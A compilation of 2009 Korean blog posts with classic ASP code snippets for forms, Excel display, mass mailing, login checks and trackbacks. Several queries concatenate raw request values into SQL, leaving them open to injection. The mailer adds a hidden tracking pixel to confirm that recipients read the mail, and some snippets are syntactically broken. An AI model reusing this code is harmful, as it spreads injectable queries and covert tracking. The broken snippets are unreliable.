길어서 설명은 그렇구요...뭐 간단히 말씀드리면 ANSI->Base64->유니코드 이런식으로 알고 있습니다.


것보담은 잘 못보는 asp 표현 형태가 있을겁니다. MSDN에 찾아보면 다 나오구요...


개인적으로 asp에 이런 표현도 있구나 하고 놀랐던 기억이 있습니다. 함 공부들 해보세요~~





dll 형태로 만들어본적도 있는데요. 그건 외국 컴포넌트 응용해서 만들어봤습니다.


결과는 동일하더군요. 아마 base64의 원리가 이런것 같습니다.


좋은 날 되세요~


vb의
2009/05/26 13:44 2009/05/26 13:44

HTML 코드중에 select, radio, checkBox가 많이 쓰일때 제가 쓰는 함수입니다.


함께 테스트 할수 있는 예제를 같이 써넣을께요.. ^^


----------------------------------------------------------------------------------


<HTML>
<HEAD>
<TITLE> Select, Radio, checkBox </TITLE>
<script language="javascript">
<!--
 function radioButton(formElement)
 {
  alert(formElement.value);
 }


 function checkBox(formElement)
 {
  alert(formElement.value);
 }


 function selectBox(formElement)
 {
  alert(formElement.value);
 }
//-->
</script>
</HEAD>


<BODY>
<%=selectBox("selectHobby", "영화감상,음악감상,골프,바둑", "음악감상", "onchange='selectBox(this)'")%>
<%
 response.write vbcr & "<br><br>" & vbcr


 response.write radioButton("radioHobby", "영화감상,음악감상,골프,바둑", "골프", "onclick='radioButton(this)'")


 response.write vbcr & "<br><br>" & vbcr


 response.write checkBox("checkBoxHobby", "영화감상,음악감상,골프,바둑", "바둑", "onclick='checkBox(this)'")


 'selectbox
 function selectBox(name, value, selectValue, javaScript)
  dim sValue, i, totalView


  totalView = "<select name='" & name & "' " & javaScript & ">" & vblf


  sValue = split(value, ",")


  for i = 0 to ubound(sValue)
   totalView = totalView & "<option value='" & sValue(i) & "'"


   if sValue(i) = selectValue then
    totalView = totalView & " selected"
   end if


   totalView = totalView & ">" & sValue(i) & "</option>" & vblf
  next


  totalView = totalView & "</select>"


  selectBox = totalView
 end function


 'radio
 function radioButton(name, value, selectValue, javaScript)
  dim sValue, i, totalView


  sValue = split(value, ",")


  for i = 0 to ubound(sValue)
   totalView = totalView & "<input type='radio' name='" & name & "' value='" & sValue(i) & "'"


   if sValue(i) = selectValue then
    totalView = totalView & " checked"
   end if


   if not isnull(javaScript) or javaScript <> "" then
    totalView = totalView & " " & javaScript
   end if


   totalView = totalView & ">" & sValue(i) & "&nbsp;" & vblf
  next


  radioButton = totalView
 end function


 'checkbox
 function checkBox(name, value, selectValue, javaScript)
  dim sValue, i, totalView


  sValue = split(value, ",")


  for i = 0 to ubound(sValue)
   totalView = totalView & "<input type='checkbox' name='" & name & "' value='" & sValue(i) & "'"


   if sValue(i) = selectValue then
    totalView = totalView & " checked"
   end if


   if not isnull(javaScript) or javaScript <> "" then
    totalView = totalView & " " & javaScript
   end if


   totalView = totalView & ">" & sValue(i) & "&nbsp;" & vblf
  next


  checkBox = totalView
 end function
%>
</BODY>
</HTML>




----------------------------- 수정 ------------------------------


아무래도 사용을 하다보니 한계가 느껴지네요.. ㅋㅋ


그래서 몇가지더 수정을 해서 올립니다. 다만 이런 Function을 사용하는건..


회원가입 혹은 입사지원 같은 폼 형태에서 사용하시는게 좋습니다.


일반 페이지에서 이걸 쓴다면.. -_- 몇개 안되시면 그냥 HTML에 적용하시는게 빠를수도 있습니다. ^^




<%
 '----------------------------------------------------------------------------------
 ' selectBox 만들기
 '  - name : select 이름
 '  - value : option의 value값 형태는("1,2,3")
 '  - title : option의 title값 형태는("1,2,3")
 '  - selectValue : 선택된 값
 '  - style : style 적용값
 '  - vClass : css 값
 '  - javascript : javascript 내용
 '----------------------------------------------------------------------------------
 Function selectBox(name, value, title, selectValue, style, vClass, javascript)
  sValue = split(value, ",")


  if title <> "" then
   sTitle = split(title, ",")
  end if


  write = "<select name='" & name & "' "


  if style <> "" then
   write = write & " style='" & style & "' "
  end if
 
  if vClass <> "" then
   write = write & " class='" & vClass & "' "
  end if


  if javascript <> "" then
   write = write & javascript
  end if


  write = write & ">"


  for i = 0 to ubound(sValue)
   write = write & "<option value='" & sValue(i) & "'"


   if sValue(i) = selectValue then
    write = write & " selected"
   end if


   write = write & ">"


   if title <> "" then
    write = write & sTitle(i)
   else
    write = write & sValue(i)
   end if


   write = write & "</option>"
  next
 
  write = write & "</select>"


  Response.Write write
 End Function



 '----------------------------------------------------------------------------------
 ' radio 만들기
 '  - name : radio 이름(공통)
 '  - value : value값 형태는("1,2,3")
 '  - title : title값 형태는("1,2,3")
 '  - checkValue : 체크된 값
 '  - alignNum : 정렬시 사용되는 숫자
 '  - style : style 적용값
 '  - vClass : css 값
 '  - javascript : javascript 내용
 '----------------------------------------------------------------------------------
 Function radio(name, value, title, checkValue, alignNum, style, vClass, javascript)
  sValue = split(value, ",")


  if title <> "" then
   sTitle = split(title, ",")
  end if


  for i = 0 to ubound(sValue)
   write = write & "<input type='radio' name='" & name & "' value='" & sValue(i) & "'"


   if sValue(i) = checkValue then
    write = write & " checked"
   end if


   if style <> "" then
    write = write & " style='" & style & "'"
   end if
   
   if vClass <> "" then
    write = write & " class='" & vClass & "'"
   end if


   if javascript <> "" then
    write = write & javascript
   end if


   write = write & ">"


   if title <> "" then
    write = write & sTitle(i)
   else
    write = write & sValue(i)
   end if


   if alignNum <> "" then
    if (i+1) mod alignNum = 0 then
     write = write & "<br>"
    end if
   end if
  next


  Response.Write write
 End Function



 '----------------------------------------------------------------------------------
 ' checkbox 만들기
 '  - name : radio 이름(공통)
 '  - value : value값 형태는("1,2,3")
 '  - title : title값 형태는("1,2,3")
 '  - checkValue : 체크된 값
 '  - alignNum : 정렬시 사용되는 숫자
 '  - style : style 적용값
 '  - vClass : css 값
 '  - javascript : javascript 내용
 '----------------------------------------------------------------------------------
 Function checkBox(name, value, title, checkValue, alignNum, style, vClass, javascript)
  sValue = split(value, ",")


  if title <> "" then
   sTitle = split(title, ",")
  end if


  for i = 0 to ubound(sValue)
   write = write & "<input type='checkbox' name='" & name & "' value='" & sValue(i) & "'"


   if instr(checkValue, sValue(i)) > 0 then
    write = write & " checked"
   end if


   if style <> "" then
    write = write & " style='" & style & "'"
   end if
   
   if vClass <> "" then
    write = write & " class='" & vClass & "'"
   end if


   if javascript <> "" then
    write = write & javascript
   end if



   write = write & ">"


   if title <> "" then
    write = write & sTitle(i)
   else
    write = write & sValue(i)
   end if


   if alignNum <> "" then
    if (i+1) mod alignNum = 0 then
     write = write & "<br>"
    end if
   end if
  next


  Response.Write write
 End Function
%>
<HTML>
<HEAD>
<TITLE> New Document </TITLE>
<META NAME="Generator" CONTENT="EditPlus">
<META NAME="Author" CONTENT="">
<META NAME="Keywords" CONTENT="">
<META NAME="Description" CONTENT="">
</HEAD>


<BODY>
 <%call selectBox("testSelect", "1,2,3,4,5", "", "3", "", "", "")%>
 <br><br>
 <%call radio("testRadio", "1,2,3,4,5", "", "3", "3", "", "", "")%>
 <br><br>
 <%call checkBox("testCheck", "1,2,3,4,5", "", "1,2", "3", "", "", "")%>
</BODY>
</HTML>

2009/05/26 13:43 2009/05/26 13:43

ASP에 Excel 스프레드시트 표시하기


Nadine Cheff, 웹 기술 저자
인터넷 정보 서비스 문서화 팀
Microsoft Corporation
1999년 11월 15일


본 팁은 Microsoft Excel 스프레드시트를 ASP(Active Server Page)에 표시하는 데 사용할 수 있는 기술을 다
룹니다. ASP에 제공되는 표준 서버 구성요소 중에는 ADO(ActiveX Data Objects)가 있습니다. 본 팁의 코드
샘플은 ADO가 모든 종류의 데이터를 액세스 할 수 있도록 해 주는 연결 메커니즘이라는 것을 보여 줍니다.


Excel 스프레드시트를 ASP에 표시하려면 다음 규칙을 따라야 합니다.


스프레스시트를 만들 때에는 특별한 형식이나 열 레이블을 포함시켜서는 안됩니다.
워크북 이름 붙이기


Excel 스프레드시트를 열고 ASP 페이지에 표시하고자 하는 행과 열을 선택하여 반전시킵니다. 반전된 영역
이 워크북이 됩니다.
삽입 메뉴에서 이름을 선택하고 정의를 누릅니다.
등록된 이름이 있으면 그 이름을 모두 선택하고 삭제를 누릅니다.
워크북 이름을 입력하고 추가를 누른 다음 확인을 누릅니다.
워크북 이름과 같은 이름을 스프레드시트에 붙이기


페이지 맨 아래 스프레드시트 탭을 마우스 오른쪽 단추로 누릅니다.
이름 바꾸기를 선택합니다.
위의 워크북과 같은 이름을 입력하고 입력을 선택합니다.
이 워크북을file://WINNT/system32/inetsrv/iisadmin/폴더 이름과 file://inetpub/wwwroot에 저장합니다.
다음 스크립트를 입력하고 file://inetpub/wwwroot에 저장합니다.


<HTML>
<HEAD>
<TITLE>ASP Page에 Excel 스프레드시트 표시하기</TITLE>
<link rel=".../stylesheet" href="iistanbul.css">
</HEAD>
<BODY BGCOLOR="#FFFFFF" text="#000000" >
<H1>목차</H1>


<p>이 링크를 사용하여 특정 월의 컨텐트 보기
<br><a href="#Aug">Aug 99</a> <a href="#Sept">Sept 99</a>


<% @language=vbscript %>
<%
Set oConn = Server.CreateObject("ADODB.Connection")
strConn = "Driver={Microsoft Excel Driver (*.xls)}; DBQ=" &
Server.MapPath("iisadmin") "websiteASPTOC.xls;" '워크북을 저장한 파일 주소
oConn.Open strConn
strCmd = "SELECT * from `ASPTOC `"


Set oRS = Server.CreateObject("ADODB.Recordset")
oRS.Open strCmd, oConn
Response.Write "<TABLE BORDER=1 BGCOLOR=#FFFFFF BORDERCOLOR=#a3a3a3
BORDERCOLORLIGHT=#000000
BORDERCOLORDARK=#767676><tr><td>"
Response.Write oRS.GetString (, -1, "</tr><td>", "</td></tr><tr><td>", NBSPACE)


%>
</TABLE>
</BODY>
</HTML>

2009/05/26 13:43 2009/05/26 13:43

mailwriteok.asp
<%
frommail=request("frommail")    '메일주소를 넘겨받음
title=request("title")          '메일제목을 넘겨받음
content=request("content")      '메일내용을 넘겨받음


title = replace(title,"'","''")                 '메일제목을 디비에 저장하기위해 replace처리를 해줌
content=replace(content,"'","''")               '위와같음
content=replace(content,chr(13)&chr(10),"<br>") '이건 걍.....


    SQL = "SELECT receiver FROM mail"
 set rs = Server.CreateObject("ADODB.Recordset")
 rs.open SQL,session("db")
'보낼메일주소가 저장되어 있는 테이블에서 메일주소를 검색함


    sql= "select MAX(num) from mailinsert"
 set rss=Server.CreateObject("ADODB.Recordset")
 rss.open SQL,session("db")
'메일제목과 내용이 저장될 테이블에서 가장큰 넘버값을 검색함


 if Isnull(rss(0)) then
  number=1
 else
  number=rss(0)+1
 end if
 rss.Close
'테이블에 아무것도 없으면 넘버는 1이고 그렇지 않으면... 알죠?


do until rs.eof
'until문을 썼음..


 SQL = "INSERT INTO mailinsert (num,writeday,receiver,title,content,mailread)VALUES "
 SQL = SQL & "(" & number
 SQL = SQL & ",'" & now() & "'"
 SQL = SQL & ",'" & rs("receiver") & "'"
 SQL = SQL & ",'" & title & "'"
 SQL = SQL & ",'" & content &"'"
 SQL = SQL & ",0)"
 session("db").Execute SQL
'메일일련번호,날짜,보내는메일주소,메일제목,메일내용,0값을 mailinsert테이블에 저장함
'mailread가 0이면 메일을 읽지 않은것이고 1이면 읽은것이고...


    set mail=server.createobject("cdonts.newmail") '메일객체 생성(CDONTS)


 mail.to = rs("receiver")'받는사람
 mail.from=frommail '보내는사람
 mail.subject=title  '제목
 mail.body=content & "<img src=http://www.ttt.com/checkReceiver.asp?idx="&number&" width=0 height=0>"
'가장중요함.. 메일내용끝에 img태그를 써서 메일일련번호(number값)를 checkReceiver.asp파일로 넘겨줌..
'이거 구현하는게 가장 힘들었음.. 머리가 나빠서.. 캬캬캬
'우리회사 윤대리님 아니었으면 구현못했음.. 윤대리님에게 무진장 감사하다는 말씀 올립니다.


    mail.bodyformat=0 '태그형태로 보냄
 mail.mailformat=0
 mail.send '메일보내기


 number = number + 1
'number를 왜 +1해주는지 알죠?
 rs.movenext
loop
rs.Close
Response.redirect "mailsendok.html"
%>
자 이제는 상대방이 메일을 읽으면 메일일련번호를 checkReceiver.asp로 넘겨주겠죠?
그럼 checkReceiver.asp를 알아보죠.
checkReceiver.asp
<%


Sql = "update mailinsert set mailread=1 where num=" & request("idx")


session("Db").execute sql
%>
checkReceiver.asp파일은 간단하죠?
메일일련번호를 checkReceiver.asp에서 넘겨받으면 메일일련번호와 똑같은 것을
1로 업데이트 해주는 것입니다.
위에서도 말했지만 mailread가 0이면 안읽은 것이고 1이면 읽은것이죠.
이제 끝입니다.
무진장 간단하죠?
이렇게 간단한것을 무려 3일동안 머리싸매고 고민했습니다.
그리고 우리회사 윤대리님 아니었으면 구현하지도 못했죠..
내 아이큐가 그렇게 나쁜게 아닌데...캬캬캬
그러고 보니까 이 모든 것이 태오님 책에서 보고베끼고 응용한 것이네요..
끝으로 loveroad님,태오님,우리회사 윤대리님에게 감사의 말씀 올립니다.


p.s : 소스가 뭔가 이상하다고 생각되어도 뭐라고 하면 안됨..
어찌되었던간에 엠팔,드림위즈,한메일,핫메일,천리안,아웃룩에서 모두 수신확인 가능한것을
확인했으니깐요....

2009/05/26 13:42 2009/05/26 13:42
오늘 Date()
어제 Date()-1
한주 체크(오늘날짜기준) Between Date()-1 and Date()-7
이번주 날짜 Between Date()-(WeekDay(Date())-1) AND Date()+(7-WeekDay(Date()))
지난주 일주일날짜 Between Date()-6-WeekDay(Date()) AND Date()-WeekDay(Date())
2주전 일주일날짜 Between Date()-13-WeekDay(Date()) AND Date()-WeekDay(Date())-7
이번달 month((Now())
올해 Year(Now())
지난해 Year(Now())-1
오늘로부터 작년 365일 Between Date() And Date()-365 / Between Date() and SerialDate(Year(Now())-1;Month(Now());Day(Now()))+1
2009/05/26 13:42 2009/05/26 13:42
전화를 이용하여 PC 통신을 사용해본 사용자들이라면 하나의 아이디를 가지고 동시에 서비스에 접속하고자

할 때 한 사용자가 서비스가 중지되는 동시접속 방지의 기능을 본 적이 있을 것이다. 그러나 인터넷의 회원제

사이트에서는 이런 기능들을 찾아보기 힘들 것이다. 인터넷이라는 특성상 강제로 클라이언트를 종료하기 위

한 기능들이 부족하기 때문이다. 그렇지만 실제 상용의 서비스를 하는 사이트라면 한번씩은 이 문제에 대해

서 고민을 하게 된다. 만일 인터넷에서 동시접속을 방지하고자 한다면 어떻게 하면 좋을까? 지금부터 그 방법

을 공개하도록 하겠다.



1) 동시접속 방지의 밑그림



인터넷상에서 동시접속을 방지하고자 하면 어떤 알고리즘을 이용하면 가능할까? 지금부터 동시접속 방지를

위한 밑그림을 그려보겠다. 우선 홈페이지에 접속하는 클라이언트가 가지는 고유한 값이 있는지 알아보아야

한다. 크게 하드웨어적인 IP 주소가 있을 것이고, 서버에서 자동으로 할당되는 SessionID 값 등이 있을 것이

다. 이중 하드웨어적인 클라이언트의 접속 주소를 나타내는 IP 주소를 동시접속 방지의 핵심 키로 이용해 보

도록 하자. 처음 사용자가 접속하여 회원 로그인을 할 때 해당 클라이언트의 IP 주소를 테이블에 저장한다. 한

번 사이트에 접속하였으면 동적 IP를 사용하고 있어도 그 IP의 값이 변경되지 않는다. 이런 IP의 값을 사이트

이용 중 수시로 테이블에 저장되어 있는 값과 동일한지 검사하는 과정을 거친다. 한 사용자가 접속하여 사용

한다면 아무런 문제가 일어나지 않을 것이다. 그러나 동일한 아이디로 다른 사용자가 사이트의 접근을 시도하

는 경우 동시접속 방지의 기능이 수행되게 하여 동시접속을 방지하게 된다. 이미 한 사용자가 neovis라는 아

이디로 접속하여 사용하고 있는 상황에서 다른 사용자가 neovis라는 아이디로 접속을 시도한다고 생각해 보

자. 앞서 로그인 과정에서 클라이언트의 IP 주소를 저장한다고 하였다. 그렇기 때문에 다른 컴퓨터에서 접속

을 하게 되면 이미 저장되어 있는 IP 주소가 현재 접속을 시도하는 사용자의 IP 주소로 변경된다. 이렇게 되면

이미 로그인이 되어 있는 사용자는 어떻게 될까? 사이트 내에서 서비스를 이용할 때마다 현재 클라이언트의

IP 주소와 테이블에 저장되어 있는 값의 비교를 하는 동시접속 체크를 통해 IP 주소가 다른 값을 가지게 때문

에 자동으로 접속을 해제시켜 버리게 될 것이다. 이런 원리를 이용하여 인터넷에서 동시접속을 방지할 수 있

는 것이다.



두 대의 다른 클라이언트 컴퓨터를 사용하여 같은 사용자가 접속을 시도할 경우라도 먼저 접속한 컴퓨터에서

사이트 접속이 해제되기 때문에 서비스의 이용에서 사용자의 불편함은 없다. 또한 동적 IP를 사용하는 경우

나 컴퓨터가 다운되더라도 로그인 과정에서의 동시접속에 대한 확인절차가 없기 때문에 사용자는 아무런 기

능의 제약 없이 사이트로 접근할 수 있는 것이다. 단 두 사람이 동시에 접속할 때에만 체크를 하기 때문에 홈

페이지 상에서 훌륭히 동시 접속 사용자를 방지할 수 있다고 하겠다.



2) 동시접속 방지 모듈 구성하기



동시접속을 방지할 수 있는 방법을 알아보았다. 이런 알고리즘을 이용하여 실제 사이트에 적용할 수 있는 코

드들을 만들어 보도록 하자. 각각의 코드들이 완벽하게 독립적으로 실행되는 것이 아니기 때문에 필요한 곳

에 직접 추가시켜 작업해야 원하는 효과를 얻을 수 있을 것이다.



① 로그인 처리 부분의 IP 주소 저장



회원 테이블이나 다른 로그인에 관련된 테이블에 로그인을 하는 사용자의 IP 주소를 저장하는 부분이 추가되

어야 한다. 단순히 기존의 필드의 값을 수정하는 쿼리문을 추가하면 되기 때문에 구현에 큰 문제점은 없을 것

이다.



----------------------------------------------------------------------------------------------------



strSQL = "update member set IP = '" & Request.ServerVariables("REMOTE_ADDR") & "' where USER_ID = '" &

USER_ID & "'"



IpUpdate = dbCon.execute(SQL)



----------------------------------------------------------------------------------------------------



회원 테이블인 member 테이블에 사용자의 IP 주소를 저장하는 IP 필드에 현재 접속하는 사용자의 IP 주소를

업데이트하는 쿼리문이다. 각 시스템에 맞게 이외의 다른 정보들도 같이 수정할 수 있으니 참고하기 바란다.



② 현재 접속 IP와 저장 IP 비교하기



이렇게 하여 저장된 IP 주소를 이용하여 사이트 이용 중 자신의 현재 IP 주소와 비교하는 과정을 거치게 된다.

실제 IP 주소의 값을 비교하는 코드는 다음과 같다.



----------------------------------------------------------------------------------------------------



<%



if Session("userid") <> "" then



' 접속한 사용자의 IP 주소 필드를 가져와 현재 IP 주소와 비교



strSQL = "select count(user_id) from member "



strSQL = strSQL & " where user_id='" & Session("userid") & "'"



strSQL = strSQL & " and ip = '" & Request.ServerVariables("REMOTE_ADDR") & "'"





Set Count_RS = dbCon.Execute(strSQL)





if Count_RS(0) = 0 then



' 중복 접속한 아이디 처리



' 사용자 사이트 환경에 맞게 에러 구문 처리



end if



end if



%>



----------------------------------------------------------------------------------------------------





위의 코드에서 보듯이 Count_RS(0)의 값이 0이면 처음 로그인을 하였을 때의 IP 주소와 현재 사용하고 있는 IP

의 주소가 다른 경우를 나타낸다. 이런 경우에는 앞서 살펴보았듯이 동일한 아이디로 접속하고 있는 경우이

기 때문에 해당 사용자에게 현재의 아이디가 중복 사용되고 있다는 메시지와 비밀번호 교환을 당부하는 메시

지를 출력하면서 현재 접속되어 있는 세션을 끊고 사이트의 처음으로 다시 이동하면 된다. 실제 이 부분의 코

드는 각 해당 사이트마다 환경이 다르므로 직접 넣어보기 바란다. 그리고 실제 동시접속을 방지하기 위해서

위의 코드를 하나의 파일로 만들어 모든 페이지에 인클루드를 시켜 사용하게 된다면 사이트 내에서 어떤 페이

지로 접속하더라도 중복 사용자 확인 과정을 거치게 되는 것이다. 각 사이트의 환경에 맞게 인클루드를 직접

넣어 테스트를 해 보자.



이렇게 하여 인터넷의 홈페이지에서 하나의 아이디를 가지고 중복으로 접속하는 것을 방지하는 방법에 대해

서 알아보았다. 예를 든 방법은 가장 기초적인 정보만 가지고 이용하기 때문에 부족한 부분이 많이 있을 수 있

다. 각 사이트의 관리자라면 IP 주소 이외의 기타 접속 시간이나 클라이언트의 환경을 저장하여 다양한 방법

으로 비교를 수행하는 방법들도 고려하여 모듈을 이용하면 더욱더 좋은 결과를 얻을 수 있을 것이다.
2009/05/26 13:41 2009/05/26 13:41

음..아시는 분들도 계시리라 생각합니다만.. 제가 웹 프로그램을 하다 보니깐.. 이부분의 필요성은 언제라도 있더라구요..리프래쉬 없이 디비값을 가져오는 방법... 참고로 제가 만든 사이트에서 쇼핑존의 슬라이더 쇼핑~~ 하기 클릭해 보시면.. 카테고리 불러올때 아래 방식을 사용했습니다.(http://www.misozine.com)   머~~ 광고라고 하면 할말없고요..
개발자 분들 참고 하세요.. 마우스 오른쪽 클릭은 막아놨는데.. 그래도 웹좀 하신분들은 소스 어케 보는지 알겁니다..허허..
이 소스는 자바스크립트로 개체들을 찾아 가는게 핵심입니다..
아무쪼록 개발자 분들 힘내세요.. 우리나라 현실이 노가다 현실이라서리...쩌업~~

첫번째 프레임 페이지 입니다.
<frameset  rows="100%,*" cols="*" framespacing="0" frameborder="NO" border="0">
  <frame   src="SlideShow.asp?<%IF Trim(request.querystring) = "" Then Response.Write(request.Form) ELSE Response.Write(request.QueryString)%>"  name="mainFrame" >
  <frame  src="about:blank" scrolling="NO" noresize name="hiddenFrame" >
</frameset>

SlideShow.asp라는 파일에서 임의의 이벤트가 발생하면 이 파일의 특정 콤보에 값을 채우는 방법입니다
이 방식을 사용하면 새로고침의 한계를 뛰어 넘을 수 있습니다.


parent.document.frames['hiddenFrame'].document.location='top.asp?mode=CSSpec&ProductCode=' + document.frmSlide.ProductCode.value; 이런 방식으로 숨겨진 프레임 top.asp파일을 호출합니다.  이런식으로 사이트에 hidden 프레임을 만들어 두면 그렇게 멀게만 느껴졌던 디비호출을 마음대로 할 수 있습니다
=>Top.asp만 잘 정의 하면 대부분의 요청을 asp리프레쉬 없이 처리 할 수 있습니다.

// 여기는 Top.asp에 해당하는 내용입니다
mode에 따라서


<script language="javascript>


var TargetDoc= parent.document.frames["mainFrame"].document;
 var oOption;
IF Request("mode") = "CSSpec" THEN
      Set adocmd = Server.CreateObject("ADODB.Command")
      WITH adocmd
      .ActiveConnection = DbConn
      .CommandType = adCmdStoredProc
      .CommandText = "IS_CSEnterOrderCounts"
      .Parameters.Refresh
      .Parameters.Item("@ProductCode").Value=  Cint(Request("ProductCode"))
      Set RS = .Execute
    END WITH
%>
     for( key in   TargetDoc.frmSlide.CSSpec)
     {
      TargetDoc.frmSlide.CSSpec.remove(key);
     }
     <%    
     Do While Not RS.EOF
     %>
           oOption = TargetDoc.createElement('OPTION');     
      oOption.value="<%=Trim(RS("ColorCode")) %>;<%=Trim(RS("SizeCode")) %>";
      oOption.text ="<%=Trim(RS("Name") )%>-<%=Trim(RS("Size"))%>";
      TargetDoc.frmSlide.CSSpec.add(oOption);        
    <%
              RS.MoveNext
      Loop
      RS.close()
END IF%>


</script>

2009/05/26 13:40 2009/05/26 13:40

이글은 트랙백의 기본개념보다는 windows + asp 환경에서의 기술적 구현을 위해 간단하게 작성된 소스입니다. 따라서 트랙백의 기본개념을 이해하신후 소스를 보시는것이 도움이 되실것입니다.또한 보다 확장적인 서비스를 위해서는 아래 소스외에 더 많은 부분을 추가하셔야 합니다.




1. 트랙백 핑 받기








<%



'변수 처리
bidx = Request("bidx")
strTitle = Request("title")
strExcerpt = Request("excerpt")
strURL = Request("url")




'콘텐츠 타입
Response.ContentType = "text/xml"




'변수 확인
If strURL="" or strTitle = "" or bidx = "" Then
 Response.Write "<?xml version=""1.0"" encoding=""iso-8859-1""?>"
 Response.Write "<response>"
 Response.Write "<error>1</error>"
 Response.Write "<message>Not Enough Arguments.</message>"
 Response.Write "</response>"
 Response.End
End If




'내 블로그에 글이 있는지 확인
If 해당글의수 = 0 Then
 Response.Write "<?xml version=""1.0"" encoding=""iso-8859-1""?>"
 Response.Write "<response>"
 Response.Write "<error>1</error>"
 Response.Write "<message>Not Exist Post.</message>"
 Response.Write "</response>"
 Response.End
End If




set rs = Server.CreateObject("ADODB.Recordset")
with rs
.Open trackback_table,접근문자열,adOpenStatic,adLockPessimistic,adCmdTable
.addnew
.fields ("글번호 필드명") = bidx
.fields ("주소 필드명") = strURL
.fields ("제목 필드명") = strTitle
.fields ("내용 필드명") = strExcerpt
.fields ("날짜 필드명") = now
.update


.close
end with


set rs = nothing




'정상적으로 완료되었으면 성공했다는 대답을 보내자.
Response.Write "<?xml version=""1.0"" encoding=""iso-8859-1""?>"
Response.Write "<response>"
Response.Write "<error>0</error>"
Response.Write "<message>TrackBack Success.</message>"
Response.Write "</response>"



%>






첫번째로 트랙백은 규정적으로 4개의 변수값을 전송합니다. 글제목(title),글주소(url),글내용(exerpt),블로그명(blog_name) 입니다. 여기서 필수요소는 url 입니다. 위 소스에서는 블로그명을 포함시키지 않았습니다. 그리고 글번호는 해당 글의 존재유무를 확인하기 위해 트랙백 주소에서 GET 형태로 받아옵니다.


두번째로 인코딩되는 xml 중 <error> 부분이 가장 중요합니다. 즉, error 값으로 트랙백 핑을 보낸쪽에다 대답을 하는 것입니다.0이면 성공이고 1이면 실패입니다. 그리고 <message>부분은 말그대로 추가설명입니다. 그리고 트랙백 핑은 POST 형태로 값을 받습니다. 받아오는 변수들을 Request.Form 형태로 정의해주는것이 더 좋을듯 하네요.


세번째로 위 소스에서는 간단한 xml 이라 굳이 xmlhttp 같은 xml 관련 서버 컴포넌트를 사용하지 않았습니다.






2. 트랙백 핑 보내기








<%



b_tb = "핑을 보낼 블로그 게시물의 트랙백 주소"


if b_tb <> "" then '만약 트랙백 주소가 입력되었다면 ..



 ' 여기서 부터 트랙백 처리
 
 ' 핑을 보낼 준비하자
 x_Posturl = Server.URLEncode(나의 글의 고유주소)
 x_BlogName = Server.URLEncode(나의 블로그명)
 x_Title = Server.URLEncode(나의 글의 제목)
 x_Excerpt = Server.URLEncode(나의 글의 내용)


 Str_tb="title="&x_Title&"&url="&x_Posturl&"&excerpt="&x_Excerpt&"&blog_name="&x_BlogName




 ' 트랙백 핑을 보내자
 set xml = server.CreateObject("msxml2.xmlhttp")
 xml.open "POST",  b_tb , false
 
 ' 몇가지 헤더처리
 xml.setRequestHeader "Accept-Language","ko"
 xml.setRequestHeader "Accept-Encoding","gzip, deflate"
 xml.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
 xml.setRequestHeader "Connection","Keep-Alive"
 xml.setRequestHeader "Cache-Control","no-cache"
 xml.send (Str_tb)
 
 ' 트랙백 핑 성공여부
 If InStr(1, xml.responseText, "<error>0</error>") Then



  ' 성공일경우 처리



 Else



  ' 실패일경우 처리



 End If
 
 Set xml = Nothing


end if



%>






일반적으로 글의 저장 또는 편집시 사용하실수 있습니다. 그리고 Str_tb 변수 정의 하면서 POST 로 넘기는 변수명은 변경하시면 안됩니다. 또한 위 소스에서는 xmlhttp 컴포넌트를 이용하여 POST 형태로 핑을 전송합니다. 트랙백 핑의 성공여부는 받아온 xml 을 디코딩 하셔도 되지만 그냥 <error>부분만 체크하기 위해 instr 로 처리하였습니다. 추가적으로 <message> 부분도 체크하여 성공 또는 실패시의 메시지를 받아오실수도 있습니다. 간혹 핑 전송시 한글이 깨어진다는 질문이 있는데, 이 경우 UrlEncoding 을 시키지 않으셨을때가 가장많습니다. 그외에는 위와 같은 방법으로 무난하게 성공하실것 입니다.

2009/05/26 13:40 2009/05/26 13:40

보통은  aaa = Request("aaa")


이런식으로 코딩을 하게하죠,


갯수가 한두개이면 큰 무리 없는데.


한번에..100개정도 넘어온다고 치면,,  대략 낭패죠,,


코딩이 지겨울텐데..


요걸 한번 써보세요..


첫줄에 요렇게 코딩하시고,




뒤에 Response.End 로 끝내시고,


실행시켜보시면,


전화면에서 넘어오는것들의 변수 이름과  해당하는 값들을 찍어 줍니다.


그냥 마우스로 죽~ 긁어다가,,  붙이면 코딩이 한결 편해지죠..




---------------------------------------------------------------




'이건 포스트로 넘어오는값을 찍어주는거


For Each objItem In Request.Form


    makestr = objItem & " = "


    makestr = makestr & "Request(" & chr(34) & objItem & chr(34) & ")"


    Response.Write makestr & " ': " & Request.Form(objItem) & "<br>"


Next


--------------------------------------------------------------




--------------------------------------------------------------


'이것은 Get 방식으로 넘어오는 값을 찍어주는거.


For Each objItem In Request.querystring


    makestr = objItem & " = "


    makestr = makestr & "Request(" & chr(34) & objItem & chr(34) & ")"


    Response.Write makestr & " ': " & Request.Form(objItem) & "<br>"


Next


 -------------------------------------------------------------






제일 윗줄에 이걸들을 쓰시던지


아니면,, FUNCTION 을 만들어서 호출하시던지 하세요.


 ^^

2009/05/26 13:39 2009/05/26 13:39

uploadfile.asp






<script language="JavaScript">




function checkit() {


    if (document.excelupform.excelfile.value == "") {


        alert("파일을 선택해 주십시요 !");


    //  document.excelupform.excelfile.focus();


        self.location.class='MIME' href="uploadfile.asp"


        // return false;


    } else {


     excelupform.action="fileuploading.asp";


     excelupform.submit();


    }


}




function filecheck(){


    if(document.excelupform.excelfile.value.length < 1) {


        alert("파일을 선택해 주십시요. ^^");


        document.excelupform.excelfile.focus();


        return false;


    } else{


        checkit();


    }


}


//-->


</script>




<FORM OnKeyPress="javascript:filecheck();" name="excelupform" method="post" encType="multipart/form-data" >


<TABLE border=0 cellPadding=0 cellSpacing=0 width="600" align="center">


   <tr><TD height="40" align="center"><INPUT name="excelfile" type="file"></TD></TR>


  <TR>


    <TD height="40" align="center"><a class='MIME' href="javascript:checkit()"><img src="../../images/bt_send.gif" border="0"></a></TD>


   </TR></TABLE></FORM>    






fileuploading.asp




<%@ Language=VBScript %>


<!-- #include file = "../../lib/dbopen.inc" -->


<!-- #include file="../../lib/certification.inc" -->


<%


        on error resume next


        set uploadform = Server.CreateObject("SiteGalaxyUpload.Form")


   


        Set filesystemobj = Server.CreateObject("Scripting.FileSystemObject")


        attach_file = UploadForm("excelfile").FilePath


        upfilename = Mid(attach_file, InstrRev(attach_file, "") + 1) ' 파일명을 얻는다.




        strName = Mid(upfilename, 1, Instr(upfilename, ".") - 1) ' 확장자를 제외한 파일명을 얻는다.


